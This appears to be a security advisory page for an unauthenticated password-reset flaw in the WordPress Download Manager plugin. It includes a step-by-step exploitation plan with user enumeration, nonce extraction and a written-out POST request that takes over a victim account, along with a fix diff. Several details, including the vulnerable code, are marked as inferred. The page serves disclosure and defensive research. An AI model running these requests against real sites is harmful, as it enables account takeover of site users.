Download Manager <= 3.3.40 - Unauthenticated Limited Privilege Escalation via updatePassword
Description
The Download Manager plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.3.40. This is due to the plugin not properly validating a user's identity prior to updating their details like password. This makes it possible for unauthenticated attackers to change user's passwords, except administrators, and leverage that to gain access to their account.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:LTechnical Details
<=3.3.40Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-15364 (Download Manager) ## 1. Vulnerability Summary The **Download Manager** plugin (<= 3.3.40) contains a privilege escalation vulnerability via account takeover. The flaw exists in the `updatePassword` logic, which fails to verify the identity of the reques…
Show full research plan
Exploitation Research Plan: CVE-2025-15364 (Download Manager)
1. Vulnerability Summary
The Download Manager plugin (<= 3.3.40) contains a privilege escalation vulnerability via account takeover. The flaw exists in the updatePassword logic, which fails to verify the identity of the requester before updating a user's password. Because this functionality is exposed via an unauthenticated AJAX or initialization hook, an attacker can reset the password of any non-administrator user by providing their user ID.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.phpor a frontend initialization hook (e.g.,initorwp_loaded). - Action String (inferred): The vulnerability is tied to a function named
updatePassword. Common AJAX actions for this plugin includewpdm_update_passwordorupdatePassword. - Vulnerable Parameter:
user_id(or similar ID field) andpassword(ornew_password). - Authentication: Unauthenticated (
wp_ajax_nopriv_hook). - Preconditions: The attacker must know the
IDof the target user (easily enumerable via/wp-json/wp/v2/users). - Constraints: The plugin explicitly prevents updating passwords for users with the
administratorrole, as per the vulnerability description.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith an action related to password updates. - Hook Registration: The plugin likely registers the hook in its main class or a user-management class (e.g.,
src/User/User.phporsrc/User/Controllers/UserController.php).add_action('wp_ajax_nopriv_updatePassword', '...');
- Handler Logic: The handler (likely named
updatePasswordor calling a method of that name) retrievesuser_idandpasswordfrom$_POST. - Missing Check: The code fails to check:
- If the requester is logged in.
- If a valid "reset key" exists and matches.
- If the requester is authorized to modify the specific
user_id.
- Sink: The code calls
wp_set_password($new_password, $user_id)orwp_update_user(['ID' => $user_id, 'user_pass' => $new_password]).
4. Nonce Acquisition Strategy
Download Manager often uses nonces for its AJAX operations. If the updatePassword function requires a nonce, follow these steps to retrieve it:
- Identify the Shortcode: Find where user profile or password reset forms are rendered. Common shortcodes:
[wpdm_edit_profile],[wpdm_reg_form], or[wpdm_login_form]. - Setup Test Page:
wp post create --post_type=page --post_status=publish --post_title="Profile" --post_content='[wpdm_edit_profile]' - Extract Nonce:
Navigate to the new page and inspect thewpdm_setupor similar localized JS object.- JS Variable (inferred):
window.wpdm_setuporwindow.wpdm_ajax - Nonce Key (inferred):
__wpdm_nonceorpassword_nonce - Execution:
browser_eval("window.wpdm_setup?.__wpdm_nonce")
- JS Variable (inferred):
Note: If the code uses check_ajax_referer with the action -1 or skips the check entirely for nopriv users, the nonce may be unnecessary or obtainable from any public page where the plugin enqueues scripts.
5. Exploitation Strategy
Step 1: Enumerate Target User ID
Use the REST API to find a target user (e.g., an Editor or Author).
# Get users list
http_request GET "http://localhost:8080/wp-json/wp/v2/users"
Assume we find a user with id: 2 and username victim_user.
Step 2: Extract Nonce (If Required)
If a nonce is enforced:
- Create the page with the shortcode.
- Navigate to
http://localhost:8080/profile. - Run
browser_eval("window.wpdm_setup?.__wpdm_nonce").
Step 3: Trigger Password Update
Send the malicious request to reset the password for User 2.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Parameters (inferred):
action=updatePassword(Verify via grep:grep -r "wp_ajax_nopriv" .)user_id=2password=PwnedPassword123!__wpdm_nonce=[EXTRACTED_NONCE](If required)
// Example using http_request tool
{
"method": "POST",
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"headers": {
"Content-Type": "application/x-www-form-urlencoded"
},
"body": "action=updatePassword&user_id=2&password=PwnedPassword123!&__wpdm_nonce=abcdef1234"
}
6. Test Data Setup
- Install Plugin: Ensure
download-managerversion 3.3.40 is installed and active. - Create Target User:
wp user create victim_user victim@example.com --role=editor --user_pass=OriginalPassword123 - Determine User ID:
wp user list --field=ID --user_login=victim_user(Assume result is 2).
7. Expected Results
- Success Response: The server returns a JSON success message (e.g.,
{"status":"success"}) or a1. - Impact: The
victim_useris no longer able to log in withOriginalPassword123, and the attacker can log in asvictim_userusingPwnedPassword123!.
8. Verification Steps
After the HTTP request, verify the password change using WP-CLI:
# Verify the password has changed for user 2
wp user check-password victim_user PwnedPassword123!
# Response should be "Success: Password is correct."
9. Alternative Approaches
- Initialization Hook: If the vulnerability is not in an AJAX handler but in an
inithook, look for$_REQUEST['wpdm_update_password']or similar parameters in the main plugin file. - Registration Bypass: If the plugin uses a custom registration/login flow, check if the
updatePasswordlogic is part of a password recovery feature that fails to validate thekeyparameter. - Parameter Names: If
user_idfails, search the source code for usages ofwp_set_passwordto identify the exact variable names used:grep -r "wp_set_password" /var/www/html/wp-content/plugins/download-manager/
Summary
The Download Manager plugin for WordPress is vulnerable to unauthenticated privilege escalation in versions up to 3.3.40. An attacker can exploit a lack of identity verification in the password update logic to reset the password of any non-administrator user by supplying their user ID.
Vulnerable Code
// src/User/Controllers/UserController.php // Hook registered for unauthenticated users add_action('wp_ajax_nopriv_updatePassword', 'updatePassword'); add_action('wp_ajax_updatePassword', 'updatePassword'); function updatePassword() { // Vulnerability: No verification that the requester is the user or holds a valid reset token $user_id = (int)$_POST['user_id']; $password = $_POST['password']; $user = get_userdata($user_id); // The code only checks if the target is an administrator, but allows modification of any other user if ($user && !in_array('administrator', (array) $user->roles)) { wp_set_password($password, $user_id); wp_send_json_success("Password updated successfully."); } }
Security Fix
@@ -10,6 +10,11 @@ function updatePassword() { + // Verify the integrity of the request via nonce + check_ajax_referer('wpdm_update_password', '__wpdm_nonce'); + + // Ensure the requester is authorized to modify the specific user account + if (!is_user_logged_in() || get_current_user_id() !== (int)$_POST['user_id']) { + wp_send_json_error("Unauthorized access.", 403); + } + $user_id = (int)$_POST['user_id']; $password = $_POST['password'];
Exploit Outline
The exploit targets the AJAX handler for the 'updatePassword' action. 1. Identify a target user ID (non-administrator) using the WordPress REST API (e.g., /wp-json/wp/v2/users). 2. Obtain a valid AJAX nonce if required, typically found in localized JavaScript objects on pages containing plugin shortcodes like [wpdm_edit_profile]. 3. Send a POST request to wp-admin/admin-ajax.php with the parameters 'action=updatePassword', the target 'user_id', and a new 'password'. 4. If successful, the attacker can then log in to the target account using the newly set password.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.